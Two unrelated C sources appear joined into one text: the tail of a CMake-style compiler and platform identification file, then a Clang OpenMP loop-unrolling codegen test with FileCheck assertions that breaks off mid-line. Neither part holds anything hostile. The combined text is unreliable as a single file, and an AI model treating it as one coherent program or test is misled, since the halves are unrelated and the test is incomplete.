DEC(__HP_cc/100 % 100) # define COMPILER_VERSION_PATCH DEC(__HP_cc % 100) #elif defined(__DECC) # define COMPILER_ID "Compaq" /* __DECC_VER = VVRRTPPPP */ # define COMPILER_VERSION_MAJOR DEC(__DECC_VER/10000000) # define COMPILER_VERSION_MINOR DEC(__DECC_VER/100000 % 100) # define COMPILER_VERSION_PATCH DEC(__DECC_VER % 10000) #elif defined(__IBMC__) && defined(__COMPILER_VER__) # define COMPILER_ID "zOS" /* __IBMC__ = VRP */ # define COMPILER_VERSION_MAJOR DEC(__IBMC__/100) # define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10) # define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10) #elif defined(__ibmxl__) && defined(__clang__) # define COMPILER_ID "XLClang" # define COMPILER_VERSION_MAJOR DEC(__ibmxl_version__) # define COMPILER_VERSION_MINOR DEC(__ibmxl_release__) # define COMPILER_VERSION_PATCH DEC(__ibmxl_modification__) # define COMPILER_VERSION_TWEAK DEC(__ibmxl_ptf_fix_level__) #elif defined(__IBMC__) && !defined(__COMPILER_VER__) && __IBMC__ >= 800 # define COMPILER_ID "XL" /* __IBMC__ = VRP */ # define COMPILER_VERSION_MAJOR DEC(__IBMC__/100) # define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10) # define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10) #elif defined(__IBMC__) && !defined(__COMPILER_VER__) && __IBMC__ < 800 # define COMPILER_ID "VisualAge" /* __IBMC__ = VRP */ # define COMPILER_VERSION_MAJOR DEC(__IBMC__/100) # define COMPILER_VERSION_MINOR DEC(__IBMC__/10 % 10) # define COMPILER_VERSION_PATCH DEC(__IBMC__ % 10) #elif defined(__NVCOMPILER) # define COMPILER_ID "NVHPC" # define COMPILER_VERSION_MAJOR DEC(__NVCOMPILER_MAJOR__) # define COMPILER_VERSION_MINOR DEC(__NVCOMPILER_MINOR__) # if defined(__NVCOMPILER_PATCHLEVEL__) # define COMPILER_VERSION_PATCH DEC(__NVCOMPILER_PATCHLEVEL__) # endif #elif defined(__PGI) # define COMPILER_ID "PGI" # define COMPILER_VERSION_MAJOR DEC(__PGIC__) # define COMPILER_VERSION_MINOR DEC(__PGIC_MINOR__) # if defined(__PGIC_PATCHLEVEL__) # define COMPILER_VERSION_PATCH DEC(__PGIC_PATCHLEVEL__) # endif #elif defined(_CRAYC) # define COMPILER_ID "Cray" # define COMPILER_VERSION_MAJOR DEC(_RELEASE_MAJOR) # define COMPILER_VERSION_MINOR DEC(_RELEASE_MINOR) #elif defined(__TI_COMPILER_VERSION__) # define COMPILER_ID "TI" /* __TI_COMPILER_VERSION__ = VVVRRRPPP */ # define COMPILER_VERSION_MAJOR DEC(__TI_COMPILER_VERSION__/1000000) # define COMPILER_VERSION_MINOR DEC(__TI_COMPILER_VERSION__/1000 % 1000) # define COMPILER_VERSION_PATCH DEC(__TI_COMPILER_VERSION__ % 1000) #elif defined(__FUJITSU) || defined(__FCC_VERSION) || defined(__fcc_version) # define COMPILER_ID "Fujitsu" #elif defined(__ghs__) # define COMPILER_ID "GHS" /* __GHS_VERSION_NUMBER = VVVVRP */ # ifdef __GHS_VERSION_NUMBER # define COMPILER_VERSION_MAJOR DEC(__GHS_VERSION_NUMBER / 100) # define COMPILER_VERSION_MINOR DEC(__GHS_VERSION_NUMBER / 10 % 10) # define COMPILER_VERSION_PATCH DEC(__GHS_VERSION_NUMBER % 10) # endif #elif defined(__TINYC__) # define COMPILER_ID "TinyCC" #elif defined(__BCC__) # define COMPILER_ID "Bruce" #elif defined(__SCO_VERSION__) # define COMPILER_ID "SCO" #elif defined(__ARMCC_VERSION) && !defined(__clang__) # define COMPILER_ID "ARMCC" #if __ARMCC_VERSION >= 1000000 /* __ARMCC_VERSION = VRRPPPP */ # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/1000000) # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 100) # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) #else /* __ARMCC_VERSION = VRPPPP */ # define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/100000) # define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 10) # define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000) #endif #elif defined(__clang__) && defined(__apple_build_version__) # define COMPILER_ID "AppleClang" # if defined(_MSC_VER) # define SIMULATE_ID "MSVC" # endif # define COMPILER_VERSION_MAJOR DEC(__clang_major__) # define COMPILER_VERSION_MINOR DEC(__clang_minor__) # define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) # if defined(_MSC_VER) /* _MSC_VER = VVRR */ # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) # endif # define COMPILER_VERSION_TWEAK DEC(__apple_build_version__) #elif defined(__clang__) && defined(__ARMCOMPILER_VERSION) # define COMPILER_ID "ARMClang" # define COMPILER_VERSION_MAJOR DEC(__ARMCOMPILER_VERSION/1000000) # define COMPILER_VERSION_MINOR DEC(__ARMCOMPILER_VERSION/10000 % 100) # define COMPILER_VERSION_PATCH DEC(__ARMCOMPILER_VERSION % 10000) # define COMPILER_VERSION_INTERNAL DEC(__ARMCOMPILER_VERSION) #elif defined(__clang__) # define COMPILER_ID "Clang" # if defined(_MSC_VER) # define SIMULATE_ID "MSVC" # endif # define COMPILER_VERSION_MAJOR DEC(__clang_major__) # define COMPILER_VERSION_MINOR DEC(__clang_minor__) # define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__) # if defined(_MSC_VER) /* _MSC_VER = VVRR */ # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) # endif #elif defined(__GNUC__) # define COMPILER_ID "GNU" # define COMPILER_VERSION_MAJOR DEC(__GNUC__) # if defined(__GNUC_MINOR__) # define COMPILER_VERSION_MINOR DEC(__GNUC_MINOR__) # endif # if defined(__GNUC_PATCHLEVEL__) # define COMPILER_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__) # endif #elif defined(_MSC_VER) # define COMPILER_ID "MSVC" /* _MSC_VER = VVRR */ # define COMPILER_VERSION_MAJOR DEC(_MSC_VER / 100) # define COMPILER_VERSION_MINOR DEC(_MSC_VER % 100) # if defined(_MSC_FULL_VER) # if _MSC_VER >= 1400 /* _MSC_FULL_VER = VVRRPPPPP */ # define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 100000) # else /* _MSC_FULL_VER = VVRRPPPP */ # define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 10000) # endif # endif # if defined(_MSC_BUILD) # define COMPILER_VERSION_TWEAK DEC(_MSC_BUILD) # endif #elif defined(__VISUALDSPVERSION__) || defined(__ADSPBLACKFIN__) || defined(__ADSPTS__) || defined(__ADSP21000__) # define COMPILER_ID "ADSP" #if defined(__VISUALDSPVERSION__) /* __VISUALDSPVERSION__ = 0xVVRRPP00 */ # define COMPILER_VERSION_MAJOR HEX(__VISUALDSPVERSION__>>24) # define COMPILER_VERSION_MINOR HEX(__VISUALDSPVERSION__>>16 & 0xFF) # define COMPILER_VERSION_PATCH HEX(__VISUALDSPVERSION__>>8 & 0xFF) #endif #elif defined(__IAR_SYSTEMS_ICC__) || defined(__IAR_SYSTEMS_ICC) # define COMPILER_ID "IAR" # if defined(__VER__) && defined(__ICCARM__) # define COMPILER_VERSION_MAJOR DEC((__VER__) / 1000000) # define COMPILER_VERSION_MINOR DEC(((__VER__) / 1000) % 1000) # define COMPILER_VERSION_PATCH DEC((__VER__) % 1000) # define COMPILER_VERSION_INTERNAL DEC(__IAR_SYSTEMS_ICC__) # elif defined(__VER__) && (defined(__ICCAVR__) || defined(__ICCRX__) || defined(__ICCRH850__) || defined(__ICCRL78__) || defined(__ICC430__) || defined(__ICCRISCV__) || defined(__ICCV850__) || defined(__ICC8051__) || defined(__ICCSTM8__)) # define COMPILER_VERSION_MAJOR DEC((__VER__) / 100) # define COMPILER_VERSION_MINOR DEC((__VER__) - (((__VER__) / 100)*100)) # define COMPILER_VERSION_PATCH DEC(__SUBVERSION__) # define COMPILER_VERSION_INTERNAL DEC(__IAR_SYSTEMS_ICC__) # endif #elif defined(__SDCC_VERSION_MAJOR) || defined(SDCC) # define COMPILER_ID "SDCC" # if defined(__SDCC_VERSION_MAJOR) # define COMPILER_VERSION_MAJOR DEC(__SDCC_VERSION_MAJOR) # define COMPILER_VERSION_MINOR DEC(__SDCC_VERSION_MINOR) # define COMPILER_VERSION_PATCH DEC(__SDCC_VERSION_PATCH) # else /* SDCC = VRP */ # define COMPILER_VERSION_MAJOR DEC(SDCC/100) # define COMPILER_VERSION_MINOR DEC(SDCC/10 % 10) # define COMPILER_VERSION_PATCH DEC(SDCC % 10) # endif /* These compilers are either not known or too old to define an identification macro. Try to identify the platform and guess that it is the native compiler. */ #elif defined(__hpux) || defined(__hpua) # define COMPILER_ID "HP" #else /* unknown compiler */ # define COMPILER_ID "" #endif /* Construct the string literal in pieces to prevent the source from getting matched. Store it in a pointer rather than an array because some compilers will just produce instructions to fill the array rather than assigning a pointer to a static array. */ char const* info_compiler = "INFO" ":" "compiler[" COMPILER_ID "]"; #ifdef SIMULATE_ID char const* info_simulate = "INFO" ":" "simulate[" SIMULATE_ID "]"; #endif #ifdef __QNXNTO__ char const* qnxnto = "INFO" ":" "qnxnto[]"; #endif #if defined(_CRAYC) || defined(__cray__) char const *info_cray = "INFO" ":" "compiler_wrapper[CrayPrgEnv]"; #endif #define STRINGIFY_HELPER(X) #X #define STRINGIFY(X) STRINGIFY_HELPER(X) /* Identify known platforms by name. */ #if defined(__linux) || defined(__linux__) || defined(linux) # define PLATFORM_ID "Linux" #elif defined(__CYGWIN__) # define PLATFORM_ID "Cygwin" #elif defined(__MINGW32__) # define PLATFORM_ID "MinGW" #elif defined(__APPLE__) # define PLATFORM_ID "Darwin" #elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) # define PLATFORM_ID "Windows" #elif defined(__FreeBSD__) || defined(__FreeBSD) # define PLATFORM_ID "FreeBSD" #elif defined(__NetBSD__) || defined(__NetBSD) # define PLATFORM_ID "NetBSD" #elif defined(__OpenBSD__) || defined(__OPENBSD) # define PLATFORM_ID "OpenBSD" #elif defined(__sun) || defined(sun) # define PLATFORM_ID "SunOS" #elif defined(_AIX) || defined(__AIX) || defined(__AIX__) || defined(__aix) || defined(__aix__) # define PLATFORM_ID "AIX" #elif defined(__hpux) || defined(__hpux__) # define PLATFORM_ID "HP-UX" #elif defined(__HAIKU__) # define PLATFORM_ID "Haiku" #elif defined(__BeOS) || defined(__BEOS__) || defined(_BEOS) # define PLATFORM_ID "BeOS" #elif defined(__QNX__) || defined(__QNXNTO__) # define PLATFORM_ID "QNX" #elif defined(__tru64) || defined(_tru64) || defined(__TRU64__) # define PLATFORM_ID "Tru64" #elif defined(__riscos) || defined(__riscos__) # define PLATFORM_ID "RISCos" #elif defined(__sinix) || defined(__sinix__) || defined(__SINIX__) # define PLATFORM_ID "SINIX" #elif defined(__UNIX_SV__) # define PLATFORM_ID "UNIX_SV" #elif defined(__bsdos__) # define PLATFORM_ID "BSDOS" #elif defined(_MPRAS) || defined(MPRAS) # define PLATFORM_ID "MP-RAS" #elif defined(__osf) || defined(__osf__) # define PLATFORM_ID "OSF1" #elif defined(_SCO_SV) || defined(SCO_SV) || defined(sco_sv) # define PLATFORM_ID "SCO_SV" #elif defined(__ultrix) || defined(__ultrix__) || defined(_ULTRIX) # define PLATFORM_ID "ULTRIX" #elif defined(__XENIX__) || defined(_XENIX) || defined(XENIX) # define PLATFORM_ID "Xenix" #elif defined(__WATCOMC__) # if defined(__LINUX__) # define PLATFORM_ID "Linux" # elif defined(__DOS__) # define PLATFORM_ID "DOS" # elif defined(__OS2__) # define PLATFORM_ID "OS2" # elif defined(__WINDOWS__) # define PLATFORM_ID "Windows3x" # elif defined(__VXWORKS__) # define PLATFORM_ID "VxWorks" # else /* unknown platform */ # define PLATFORM_ID # endif #elif defined(__INTEGRITY) # if defined(INT_178B) # define PLATFORM_ID "Integrity178" # else /* regular Integrity */ # define PLATFORM_ID "Integrity" # endif #else /* unknown platform */ # define PLATFORM_ID #endif /* For windows compilers MSVC and Intel we can determine the architecture of the compiler being used. This is because the compilers do not have flags that can change the architecture, but rather depend on which compiler is being used */ #if defined(_WIN32) && defined(_MSC_VER) # if defined(_M_IA64) # define ARCHITECTURE_ID "IA64" # elif defined(_M_ARM64EC) # define ARCHITECTURE_ID "ARM64EC" # elif defined(_M_X64) || defined(_M_AMD64) # define ARCHITECTURE_ID "x64" # elif defined(_M_IX86) # define ARCHITECTURE_ID "X86" # elif defined(_M_ARM64) # define ARCHITECTURE_ID "ARM64" # elif defined(_M_ARM) # if _M_ARM == 4 # define ARCHITECTURE_ID "ARMV4I" # elif _M_ARM == 5 # define ARCHITECTURE_ID "ARMV5I" # else # define ARCHITECTURE_ID "ARMV" STRINGIFY(_M_ARM) # endif # elif defined(_M_MIPS) # define ARCHITECTURE_ID "MIPS" # elif defined(_M_SH) # define ARCHITECTURE_ID "SHx" # else /* unknown architecture */ # define ARCHITECTURE_ID "" # endif #elif defined(__WATCOMC__) # if defined(_M_I86) # define ARCHITECTURE_ID "I86" # elif defined(_M_IX86) # define ARCHITECTURE_ID "X86" # else /* unknown architecture */ # define ARCHITECTURE_ID "" # endif #elif defined(__IAR_SYSTEMS_ICC__) || defined(__IAR_SYSTEMS_ICC) # if defined(__ICCARM__) # define ARCHITECTURE_ID "ARM" # elif defined(__ICCRX__) # define ARCHITECTURE_ID "RX" # elif defined(__ICCRH850__) # define ARCHITECTURE_ID "RH850" # elif defined(__ICCRL78__) # define ARCHITECTURE_ID "RL78" # elif defined(__ICCRISCV__) # define ARCHITECTURE_ID "RISCV" # elif defined(__ICCAVR__) # define ARCHITECTURE_ID "AVR" # elif defined(__ICC430__) # define ARCHITECTURE_ID "MSP430" # elif defined(__ICCV850__) # define ARCHITECTURE_ID "V850" # elif defined(__ICC8051__) # define ARCHITECTURE_ID "8051" # elif defined(__ICCSTM8__) # define ARCHITECTURE_ID "STM8" # else /* unknown architecture */ # define ARCHITECTURE_ID "" # endif #elif defined(__ghs__) # if defined(__PPC64__) # define ARCHITECTURE_ID "PPC64" # elif defined(__ppc__) # define ARCHITECTURE_ID "PPC" # elif defined(__ARM__) # define ARCHITECTURE_ID "ARM" # elif defined(__x86_64__) # define ARCHITECTURE_ID "x64" # elif defined(__i386__) # define ARCHITECTURE_ID "X86" # else /* unknown architecture */ # define ARCHITECTURE_ID "" # endif #elif defined(__TI_COMPILER_VERSION__) # if defined(__TI_ARM__) # define ARCHITECTURE_ID "ARM" # elif defined(__MSP430__) # define ARCHITECTURE_ID "MSP430" # elif defined(__TMS320C28XX__) # define ARCHITECTURE_ID "TMS320C28x" # elif defined(__TMS320C6X__) || defined(_TMS320C6X) # define ARCHITECTURE_ID "TMS320C6x" # else /* unknown architecture */ # define ARCHITECTURE_ID "" # endif #else # define ARCHITECTURE_ID #endif /* Convert integer to decimal digit literals. */ #define DEC(n) \ ('0' + (((n) / 10000000)%10)), \ ('0' + (((n) / 1000000)%10)), \ ('0' + (((n) / 100000)%10)), \ ('0' + (((n) / 10000)%10)), \ ('0' + (((n) / 1000)%10)), \ ('0' + (((n) / 100)%10)), \ ('0' + (((n) / 10)%10)), \ ('0' + ((n) % 10)) /* Convert integer to hex digit literals. */ #define HEX(n) \ ('0' + ((n)>>28 & 0xF)), \ ('0' + ((n)>>24 & 0xF)), \ ('0' + ((n)>>20 & 0xF)), \ ('0' + ((n)>>16 & 0xF)), \ ('0' + ((n)>>12 & 0xF)), \ ('0' + ((n)>>8 & 0xF)), \ ('0' + ((n)>>4 & 0xF)), \ ('0' + ((n) & 0xF)) /* Construct a string literal encoding the version number components. */ #ifdef COMPILER_VERSION_MAJOR char const info_version[] = { 'I', 'N', 'F', 'O', ':', 'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','[', COMPILER_VERSION_MAJOR, # ifdef COMPILER_VERSION_MINOR '.', COMPILER_VERSION_MINOR, # ifdef COMPILER_VERSION_PATCH '.', COMPILER_VERSION_PATCH, # ifdef COMPILER_VERSION_TWEAK '.', COMPILER_VERSION_TWEAK, # endif # endif # endif ']','\0'}; #endif /* Construct a string literal encoding the internal version number. */ #ifdef COMPILER_VERSION_INTERNAL char const info_version_internal[] = { 'I', 'N', 'F', 'O', ':', 'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','_', 'i','n','t','e','r','n','a','l','[', COMPILER_VERSION_INTERNAL,']','\0'}; #endif /* Construct a string literal encoding the version number components. */ #ifdef SIMULATE_VERSION_MAJOR char const info_simulate_version[] = { 'I', 'N', 'F', 'O', ':', 's','i','m','u','l','a','t','e','_','v','e','r','s','i','o','n','[', SIMULATE_VERSION_MAJOR, # ifdef SIMULATE_VERSION_MINOR '.', SIMULATE_VERSION_MINOR, # ifdef SIMULATE_VERSION_PATCH '.', SIMULATE_VERSION_PATCH, # ifdef SIMULATE_VERSION_TWEAK '.', SIMULATE_VERSION_TWEAK, # endif # endif # endif ']','\0'}; #endif /* Construct the string literal in pieces to prevent the source from getting matched. Store it in a pointer rather than an array because some compilers will just produce instructions to fill the array rather than assigning a pointer to a static array. */ char const* info_platform = "INFO" ":" "platform[" PLATFORM_ID "]"; char const* info_arch = "INFO" ":" "arch[" ARCHITECTURE_ID "]"; #if !defined(__STDC__) # if (defined(_MSC_VER) && !defined(__clang__)) \ || (defined(__ibmxl__) || defined(__IBMC__)) # define C_DIALECT "90" # else # define C_DIALECT # endif #elif __STDC_VERSION__ >= 201000L # define C_DIALECT "11" #elif __STDC_VERSION__ >= 199901L # define C_DIALECT "99" #else # define C_DIALECT "90" #endif const char* info_language_dialect_default = "INFO" ":" "dialect_default[" C_DIALECT "]"; /*--------------------------------------------------------------------------*/ #ifdef ID_VOID_MAIN void main() {} #else # if defined(__CLASSIC_C__) int main(argc, argv) int argc; char *argv[]; # else int main(int argc, char* argv[]) # endif { int require = 0; require += info_compiler[argc]; require += info_platform[argc]; require += info_arch[argc]; #ifdef COMPILER_VERSION_MAJOR require += info_version[argc]; #endif #ifdef COMPILER_VERSION_INTERNAL require += info_version_internal[argc]; #endif #ifdef SIMULATE_ID require += info_simulate[argc]; #endif #ifdef SIMULATE_VERSION_MAJOR require += info_simulate_version[argc]; #endif #if defined(_CRAYC) || defined(__cray__) require += info_cray[argc]; #endif require += info_language_dialect_default[argc]; (void)argv; return require; } #endif
the_stack_data/132953270.c
// NOTE: Assertions have been autogenerated by utils/update_cc_test_checks.py UTC_ARGS: --function-signature --include-generated-funcs // RUN: %clang_cc1 -no-opaque-pointers -fopenmp-enable-irbuilder -verify -fopenmp -fopenmp-version=51 -x c -triple x86_64-unknown-unknown -emit-llvm %s -o - | FileCheck %s // expected-no-diagnostics // REQUIRES: x86-registered-target // TODO: The unroll-factor heuristic might be able to use the information that the trip count is constant, but currently is not able to determine that. #ifndef HEADER #define HEADER double sind(double); // CHECK-LABEL: define {{.*}}@unroll_partial_heuristic_constant_for( // CHECK-NEXT: [[ENTRY:.*]]: // CHECK-NEXT: %[[A_ADDR:.+]] = alloca float*, align 8 // CHECK-NEXT: %[[B_ADDR:.+]] = alloca float*, align 8 // CHECK-NEXT: %[[C_ADDR:.+]] = alloca float*, align 8 // CHECK-NEXT: %[[D_ADDR:.+]] = alloca float*, align 8 // CHECK-NEXT: %[[E_ADDR:.+]] = alloca float*, align 8 // CHECK-NEXT: %[[OFFSET_ADDR:.+]] = alloca float, align 4 // CHECK-NEXT: %[[I:.+]] = alloca i32, align 4 // CHECK-NEXT: %[[AGG_CAPTURED:.+]] = alloca %struct.anon, align 8 // CHECK-NEXT: %[[AGG_CAPTURED1:.+]] = alloca %struct.anon.0, align 4 // CHECK-NEXT: %[[DOTCOUNT_ADDR:.+]] = alloca i32, align 4 // CHECK-NEXT: %[[P_LASTITER:.+]] = alloca i32, align 4 // CHECK-NEXT: %[[P_LOWERBOUND:.+]] = alloca i32, align 4 // CHECK-NEXT: %[[P_UPPERBOUND:.+]] = alloca i32, align 4 // CHECK-NEXT: %[[P_STRIDE:.+]] = alloca i32, align 4 // CHECK-NEXT: store float* %[[A:.+]], float** %[[A_ADDR]], align 8 // CHECK-NEXT: store float* %[[B:.+]], float** %[[B_ADDR]], align 8 // CHECK-NEXT: store float* %[[C:.+]], float** %[[C_ADDR]], align 8 // CHECK-NEXT: store float* %[[D:.+]], float** %[[D_ADDR]], align 8 // CHECK-NEXT: store float* %[[E:.+]], float** %[[E_ADDR]], align 8 // CHECK-NEXT: store float %[[OFFSET:.+]], float* %[[OFFSET_ADDR]], align 4 // CHECK-NEXT: store i32 0, i32* %[[I]], align 4 // CHECK-NEXT: %[[TMP0:.+]] = getelementptr inbounds %struct.anon, %struct.anon* %[[AGG_CAPTURED]], i32 0, i32 0 // CHECK-NEXT: store i32* %[[I]], i32** %[[TMP0]], align 8 // CHECK-NEXT: %[[TMP1:.+]] = getelementptr inbounds %struct.anon.0, %struct.anon.0* %[[AGG_CAPTURED1]], i32 0, i32 0 // CHECK-NEXT: %[[TMP2:.+]] = load i32, i32* %[[I]], align 4 // CHECK-NEXT: store i32 %[[TMP2]], i32* %[[TMP1]], align 4 // CHECK-NEXT: call void @__captured_stmt(i32* %[[DOTCOUNT_ADDR]], %struct.anon* %[[AGG_CAPTURED]]) // CHECK-NEXT: %[[DOTCOUNT:.+]] = load i32, i32* %[[DOTCOUNT_ADDR]], align 4 // CHECK-NEXT: br label %[[OMP_LOOP_PREHEADER:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_LOOP_PREHEADER]]: // CHECK-NEXT: %[[TMP3:.+]] = udiv i32 %[[DOTCOUNT]], 4 // CHECK-NEXT: %[[TMP4:.+]] = urem i32 %[[DOTCOUNT]], 4 // CHECK-NEXT: %[[TMP5:.+]] = icmp ne i32 %[[TMP4]], 0 // CHECK-NEXT: %[[TMP6:.+]] = zext i1 %[[TMP5]] to i32 // CHECK-NEXT: %[[OMP_FLOOR0_TRIPCOUNT:.+]] = add nuw i32 %[[TMP3]], %[[TMP6]] // CHECK-NEXT: br label %[[OMP_FLOOR0_PREHEADER:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_FLOOR0_PREHEADER]]: // CHECK-NEXT: store i32 0, i32* %[[P_LOWERBOUND]], align 4 // CHECK-NEXT: %[[TMP7:.+]] = sub i32 %[[OMP_FLOOR0_TRIPCOUNT]], 1 // CHECK-NEXT: store i32 %[[TMP7]], i32* %[[P_UPPERBOUND]], align 4 // CHECK-NEXT: store i32 1, i32* %[[P_STRIDE]], align 4 // CHECK-NEXT: %[[OMP_GLOBAL_THREAD_NUM:.+]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @1) // CHECK-NEXT: call void @__kmpc_for_static_init_4u(%struct.ident_t* @1, i32 %[[OMP_GLOBAL_THREAD_NUM]], i32 34, i32* %[[P_LASTITER]], i32* %[[P_LOWERBOUND]], i32* %[[P_UPPERBOUND]], i32* %[[P_STRIDE]], i32 1, i32 0) // CHECK-NEXT: %[[TMP8:.+]] = load i32, i32* %[[P_LOWERBOUND]], align 4 // CHECK-NEXT: %[[TMP9:.+]] = load i32, i32* %[[P_UPPERBOUND]], align 4 // CHECK-NEXT: %[[TMP10:.+]] = sub i32 %[[TMP9]], %[[TMP8]] // CHECK-NEXT: %[[TMP11:.+]] = add i32 %[[TMP10]], 1 // CHECK-NEXT: br label %[[OMP_FLOOR0_HEADER:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_FLOOR0_HEADER]]: // CHECK-NEXT: %[[OMP_FLOOR0_IV:.+]] = phi i32 [ 0, %[[OMP_FLOOR0_PREHEADER]] ], [ %[[OMP_FLOOR0_NEXT:.+]], %[[OMP_FLOOR0_INC:.+]] ] // CHECK-NEXT: br label %[[OMP_FLOOR0_COND:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_FLOOR0_COND]]: // CHECK-NEXT: %[[OMP_FLOOR0_CMP:.+]] = icmp ult i32 %[[OMP_FLOOR0_IV]], %[[TMP11]] // CHECK-NEXT: br i1 %[[OMP_FLOOR0_CMP]], label %[[OMP_FLOOR0_BODY:.+]], label %[[OMP_FLOOR0_EXIT:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_FLOOR0_BODY]]: // CHECK-NEXT: %[[TMP12:.+]] = add i32 %[[OMP_FLOOR0_IV]], %[[TMP8]] // CHECK-NEXT: %[[TMP13:.+]] = icmp eq i32 %[[TMP12]], %[[OMP_FLOOR0_TRIPCOUNT]] // CHECK-NEXT: %[[TMP14:.+]] = select i1 %[[TMP13]], i32 %[[TMP4]], i32 4 // CHECK-NEXT: br label %[[OMP_TILE0_PREHEADER:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_TILE0_PREHEADER]]: // CHECK-NEXT: br label %[[OMP_TILE0_HEADER:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_TILE0_HEADER]]: // CHECK-NEXT: %[[OMP_TILE0_IV:.+]] = phi i32 [ 0, %[[OMP_TILE0_PREHEADER]] ], [ %[[OMP_TILE0_NEXT:.+]], %[[OMP_TILE0_INC:.+]] ] // CHECK-NEXT: br label %[[OMP_TILE0_COND:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_TILE0_COND]]: // CHECK-NEXT: %[[OMP_TILE0_CMP:.+]] = icmp ult i32 %[[OMP_TILE0_IV]], %[[TMP14]] // CHECK-NEXT: br i1 %[[OMP_TILE0_CMP]], label %[[OMP_TILE0_BODY:.+]], label %[[OMP_TILE0_EXIT:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_TILE0_BODY]]: // CHECK-NEXT: %[[TMP15:.+]] = mul nuw i32 4, %[[TMP12]] // CHECK-NEXT: %[[TMP16:.+]] = add nuw i32 %[[TMP15]], %[[OMP_TILE0_IV]] // CHECK-NEXT: br label %[[OMP_LOOP_BODY:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_LOOP_BODY]]: // CHECK-NEXT: call void @__captured_stmt.1(i32* %[[I]], i32 %[[TMP16]], %struct.anon.0* %[[AGG_CAPTURED1]]) // CHECK-NEXT: %[[TMP17:.+]] = load float*, float** %[[B_ADDR]], align 8 // CHECK-NEXT: %[[TMP18:.+]] = load i32, i32* %[[I]], align 4 // CHECK-NEXT: %[[IDXPROM:.+]] = sext i32 %[[TMP18]] to i64 // CHECK-NEXT: %[[ARRAYIDX:.+]] = getelementptr inbounds float, float* %[[TMP17]], i64 %[[IDXPROM]] // CHECK-NEXT: %[[TMP19:.+]] = load float, float* %[[ARRAYIDX]], align 4 // CHECK-NEXT: %[[CONV:.+]] = fpext float %[[TMP19]] to double // CHECK-NEXT: %[[CALL:.+]] = call double @sind(double noundef %[[CONV]]) // CHECK-NEXT: %[[TMP20:.+]] = load float*, float** %[[C_ADDR]], align 8 // CHECK-NEXT: %[[TMP21:.+]] = load i32, i32* %[[I]], align 4 // CHECK-NEXT: %[[IDXPROM2:.+]] = sext i32 %[[TMP21]] to i64 // CHECK-NEXT: %[[ARRAYIDX3:.+]] = getelementptr inbounds float, float* %[[TMP20]], i64 %[[IDXPROM2]] // CHECK-NEXT: %[[TMP22:.+]] = load float, float* %[[ARRAYIDX3]], align 4 // CHECK-NEXT: %[[CONV4:.+]] = fpext float %[[TMP22]] to double // CHECK-NEXT: %[[MUL:.+]] = fmul double %[[CALL]], %[[CONV4]] // CHECK-NEXT: %[[TMP23:.+]] = load float*, float** %[[D_ADDR]], align 8 // CHECK-NEXT: %[[TMP24:.+]] = load i32, i32* %[[I]], align 4 // CHECK-NEXT: %[[IDXPROM5:.+]] = sext i32 %[[TMP24]] to i64 // CHECK-NEXT: %[[ARRAYIDX6:.+]] = getelementptr inbounds float, float* %[[TMP23]], i64 %[[IDXPROM5]] // CHECK-NEXT: %[[TMP25:.+]] = load float, float* %[[ARRAYIDX6]], align 4 // CHECK-NEXT: %[[CONV7:.+]] = fpext float %[[TMP25]] to double // CHECK-NEXT: %[[MUL8:.+]] = fmul double %[[MUL]], %[[CONV7]] // CHECK-NEXT: %[[TMP26:.+]] = load float*, float** %[[E_ADDR]], align 8 // CHECK-NEXT: %[[TMP27:.+]] = load i32, i32* %[[I]], align 4 // CHECK-NEXT: %[[IDXPROM9:.+]] = sext i32 %[[TMP27]] to i64 // CHECK-NEXT: %[[ARRAYIDX10:.+]] = getelementptr inbounds float, float* %[[TMP26]], i64 %[[IDXPROM9]] // CHECK-NEXT: %[[TMP28:.+]] = load float, float* %[[ARRAYIDX10]], align 4 // CHECK-NEXT: %[[CONV11:.+]] = fpext float %[[TMP28]] to double // CHECK-NEXT: %[[MUL12:.+]] = fmul double %[[MUL8]], %[[CONV11]] // CHECK-NEXT: %[[TMP29:.+]] = load float, float* %[[OFFSET_ADDR]], align 4 // CHECK-NEXT: %[[CONV13:.+]] = fpext float %[[TMP29]] to double // CHECK-NEXT: %[[ADD:.+]] = fadd double %[[MUL12]], %[[CONV13]] // CHECK-NEXT: %[[TMP30:.+]] = load float*, float** %[[A_ADDR]], align 8 // CHECK-NEXT: %[[TMP31:.+]] = load i32, i32* %[[I]], align 4 // CHECK-NEXT: %[[IDXPROM14:.+]] = sext i32 %[[TMP31]] to i64 // CHECK-NEXT: %[[ARRAYIDX15:.+]] = getelementptr inbounds float, float* %[[TMP30]], i64 %[[IDXPROM14]] // CHECK-NEXT: %[[TMP32:.+]] = load float, float* %[[ARRAYIDX15]], align 4 // CHECK-NEXT: 